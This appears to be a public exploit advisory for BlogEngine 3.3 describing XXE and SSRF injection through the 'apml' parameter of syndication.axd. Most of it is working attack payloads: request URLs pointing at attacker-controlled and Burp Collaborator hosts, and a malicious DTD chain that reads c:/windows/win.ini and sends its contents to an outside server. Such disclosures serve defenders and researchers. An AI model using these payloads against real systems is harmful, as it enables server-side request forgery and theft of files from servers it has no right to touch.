BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection

# Title: BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection
# Author: Daniel Martinez Adan (aDoN90)
# Date: 2020-05-01
# Homepage: https://blogengine.io/
# Software Link: https://blogengine.io/support/download/
# Affected Versions: 3.3
# Vulnerability: XML External Entity (XXE OOB) Injection Vulnerability
# Severity: High
# Status: Fixed
# Author: Daniel Martinez Adan (aDoN90)
# CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H

Technical Details
--------------------

Url: http://websiteurl-blogengine3.3/syndication.axd
Parameter Name: apml
Parameter Type: GET

*Attack Pattern 1 (SSRF HTTP Interaction) :*

http://websiteurl-blogengine3.3/syndication.axd?apml=http://hav4zt9bu9ihxzvcg59lqfapzg5it7.burpcollaborator.net

*Attack Pattern 2 (SSRF to XXE HTTP Interaction):*

http://b5baa301-b569-4bbf-afd9-d2eb264fdcbf.gdsdemo.com/blog/syndication.axd?apml=http://attackerip:8000/miau.txt

miau.txt

-----------------------------
  <!DOCTYPE foo SYSTEM "
">http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net">
<http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net>
-----------------------------
[image: image.png]

*Attack Pattern 3 (SSRF to XXE Exfiltration):*

miau.txt

-----------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://37.187.112.19:8000/test1.dtd">

%sp;
%param1;
%exfil;
]>
-----------------------------
test1.dtd

-----------------------------

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM '
http://y76a7hgbrccuyclwxwcp3br74yayyn.burpcollaborator.net/?%data;'>">

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